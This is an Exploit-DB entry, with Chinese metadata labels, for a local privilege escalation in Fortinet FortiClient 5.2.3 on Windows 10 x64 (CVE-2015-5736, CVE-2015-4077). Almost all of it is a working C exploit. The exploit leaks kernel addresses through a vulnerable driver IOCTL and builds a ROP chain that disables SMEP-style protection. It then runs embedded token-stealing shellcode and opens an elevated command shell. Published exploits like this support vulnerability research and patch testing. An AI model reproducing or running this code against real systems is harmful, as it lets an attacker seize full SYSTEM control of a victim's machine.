标题: Fortinet FortiClient 5.2.3 (Windows 10 x64 Creators) - Local Privilege Escalation EDB-ID: 45149 CVE: 2015-5736 2015-4077 类型: LOCAL 平台: WINDOWS_X86-64 发布日期: 2018-08-05 漏洞利用脚本: #include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>
#include <Shlobj.h>

#pragma comment (lib,"psapi")

PULONGLONG leak_buffer = (PULONGLONG)VirtualAlloc((LPVOID)0x000000001a000000, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
ULONGLONG leakQWORD(ULONGLONG addr, HANDLE driver)
{
 memset((LPVOID)0x000000001a000000, 0x11, 0x1000);
 memset((LPVOID)0x000000001a001000, 0x22, 0x1000);
 leak_buffer[0] = 0x000000001a000008;
 leak_buffer[1] = 0x0000000000000003;
 leak_buffer[4] = 0x000000001a000028;
 leak_buffer[6] = addr - 0x70;

 DWORD IoControlCode = 0x22608C;
 LPVOID InputBuffer = (LPVOID)0x000000001a000000;
 DWORD InputBufferLength = 0x20;
 LPVOID OutputBuffer = (LPVOID)0x000000001a001000;
 DWORD OutputBufferLength = 0x110;
 DWORD lpBytesReturned;

 BOOL triggerIOCTL;
 triggerIOCTL = DeviceIoControl(driver, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
 if (!triggerIOCTL)
 {
  printf("[!] Error in the SYSCALL: %d\n", GetLastError());
 }

 ULONGLONG result = leak_buffer[0x202];
 return result;
}

ULONGLONG leakNtBase(HANDLE driver)
{
 ULONGLONG teb = (ULONGLONG)NtCurrentTeb();
 ULONGLONG thread = *(PULONGLONG)(teb + 0x78);
 ULONGLONG threadInfo = leakQWORD(thread, driver);
 ULONGLONG ntAddr = leakQWORD(threadInfo + 0x2a8, driver);
 ULONGLONG baseAddr = 0;
 ULONGLONG signature = 0x00905a4d;
 ULONGLONG searchAddr = ntAddr & 0xFFFFFFFFFFFFF000;

 while (TRUE)
 {
  ULONGLONG readData = leakQWORD(searchAddr, driver);
  ULONGLONG tmp = readData & 0xFFFFFFFF;
  /*
  printf("%llx\n", readData);
  printf("%llx\n", tmp);
  */

  if (tmp == signature)
  {
   baseAddr = searchAddr;
   break;
  }
  searchAddr = searchAddr - 0x1000;
 }
 return baseAddr;
}

ULONGLONG leakFortiBase(HANDLE driver, ULONGLONG ntBase)
{
 ULONGLONG PsLoadModuleListAddr = ntBase + 0x34c5a0;
 ULONGLONG searchAddr = leakQWORD(PsLoadModuleListAddr, driver);
 ULONGLONG addr = 0;
 while (1)
 {
  ULONGLONG namePointer = leakQWORD(searchAddr + 0x60, driver);
  ULONGLONG name = leakQWORD(namePointer, driver);
  if (name == 0x00740072006f0046)
  {
   name = leakQWORD(namePointer + 8, driver);
   if (name == 0x0069006800530069)
   {
    addr = leakQWORD(searchAddr + 0x30, driver);
    break;
   }
  }
  searchAddr = leakQWORD(searchAddr, driver);
 }
 return addr;
}

ULONGLONG allocate_fake_stack(ULONGLONG ntBase, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result)
{
 PULONGLONG fake_stack = (PULONGLONG)VirtualAlloc((LPVOID)0x00000000f5ffe000, 0x12000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 if (fake_stack == NULL)
 {
  printf("[!] Error while allocating the fake stack: %d\n", GetLastError());
  return 1;
 }

 memset(fake_stack, 0x41, 0x12000);
 PULONGLONG ropStack = (PULONGLONG)fake_stack + 0x2000;
 DWORD index = 0;

 // <NULL Callback>
 ropStack[index] = ntBase + 0x1684ef; index++;       // pop rax ; pop rcx ; ret
 ropStack[index] = fortishield_callback; index++;    // FortiShield Callback
 ropStack[index] = 0x0000000000000000; index++;      // NULL
 ropStack[index] = ntBase + 0x937eb; index++;        // mov qword [rax], rcx ; ret
 // </NULL Callback>

 // <Flip U=S bit>
 ropStack[index] = ntBase + 0x88614; index++;        // pop rax ; ret
 ropStack[index] = pte_result; index++;              // PTE VA
 ropStack[index] = ntBase + 0x1a3cb2; index++;       // pop rdx ; ret
 ropStack[index] = 0x0000000000000063; index++;      // DIRTY + ACCESSED + R/W + PRESENT
 ropStack[index] = ntBase + 0xe8a8b; index++;        // mov byte [rax], dl ; add eax, 0x01740000 ; ret
 ropStack[index] = ntBase + 0x11e000; index++;       // wbinvd  ; ret
 // </Flip U=S bit>

 // <Restore variables & shellcode>
 ropStack[index] = 0x00000000f6000100; index++;      // Shellcode address
 ropStack[index] = fortishield_restore; index++;     // FortiShield return location
 // </Restore variables & shellcode>

 char token_steal[] = 
  "\x48\x31\xc0\x65\x48\x8b\x80"
  "\x88\x01\x00\x00\x48\x8b\x80"
  "\xb8\x00\x00\x00\x49\x89\xc0"
  "\x48\x8b\x80\xe8\x02\x00\x00"
  "\x48\x2d\xe8\x02\x00\x00\x48"
  "\x8b\x88\xe0\x02\x00\x00\x48"
  "\x83\xf9\x04\x75\xe6\x4c\x8b"
  "\x88\x58\x03\x00\x00\x4d\x89"
  "\x88\x58\x03\x00\x00\x3E\x48"
  "\x8B\x04\x24\x48\x89\xF4\x48"
  "\x83\xEC\x20\xFF\xE0";

 memcpy((fake_stack + 0x2020), token_steal, sizeof(token_steal));
 return 0;
}

ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) 
{
 ULONGLONG result = address >> 9;
 result = result | pte_start;
 result = result & (pte_start + 0x0000007ffffffff8);
 return result;
}

int trigger_callback()
{
 printf("[+] Creating dummy file\n");
 system("echo test > C:\\Users\\n00b\\AppData\\LocalLow\\test.txt");
 printf("[+] Calling MoveFileEx()\n");

 BOOL MFEresult = MoveFileEx(L"C:\\Users\\n00b\\AppData\\LocalLow\\test.txt", L"C:\\Users\\n00b\\AppData\\LocalLow\\test2.txt", MOVEFILE_REPLACE_EXISTING);
 if (MFEresult == 0)
 {
  printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
  return 1;
 }
 return 0;
}

int main()
{
 LoadLibraryA("user32.dll"); // Populate Win32ThreadInfo

 HANDLE mdare = CreateFile(L"\\\\.\\mdareDriver_48", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
 if (mdare == INVALID_HANDLE_VALUE)
 {
  printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
  return 1;
 }

 HANDLE forti = CreateFile(L"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
 if (forti == INVALID_HANDLE_VALUE)
 {
  printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
  return 1;
 }

 LPDWORD hThread_id = 0;
 HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
 if (hThread == NULL)
 {
  printf("[!] Error while calling CreateThread: %d\n", GetLastError());
  return 1;
 }

 BOOL hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
 if (hThread_priority == 0)
 {
  printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
  return 1;
 }

 ULONGLONG ntBase = leakNtBase(mdare);
 ULONGLONG ntPivot = ntBase + 0x1ab3ec; // mov esp, 0xf6000000; retn;
 ULONGLONG ntMiGetPteAddressOffset = leakQWORD(ntBase + 0x62aeb, mdare);
 ULONGLONG fortishieldBase = leakFortiBase(mdare, ntBase);
 ULONGLONG fortishield_callback = fortishieldBase + 0xd150;
 ULONGLONG fortishield_restore = fortishieldBase + 0x2f73;
 printf("[+] ntoskrnl.exe base address is: 0x%llx\n", ntBase);
 printf("[+] PTE VA start address is: 0x%llx\n", ntMiGetPteAddressOffset);
 printf("[+] FortiShield.sys base address is: 0x%llx\n", fortishieldBase);

 ULONGLONG pte_result = get_pxe_address_64(0xf6000000, ntMiGetPteAddressOffset);
 printf("[+] PTE virtual address for 0xf6000000: %I64x\n", pte_result);
 allocate_fake_stack(ntBase, fortishield_callback, fortishield_restore, pte_result);

 DWORD IoControlCode = 0x220028;
 ULONGLONG InputBuffer = ntPivot;
 DWORD InputBufferLength = 0x8;
 ULONGLONG OutputBuffer = 0x0;
 DWORD OutputBufferLength = 0x0;
 DWORD lpBytesReturned;

 //DebugBreak();

 BOOL triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
 ResumeThread(hThread);
 WaitForSingleObject(hThread, INFINITE);
 system("start cmd.exe");

 return 0;
} URL: https://www.exploit-db.com/exploits/45149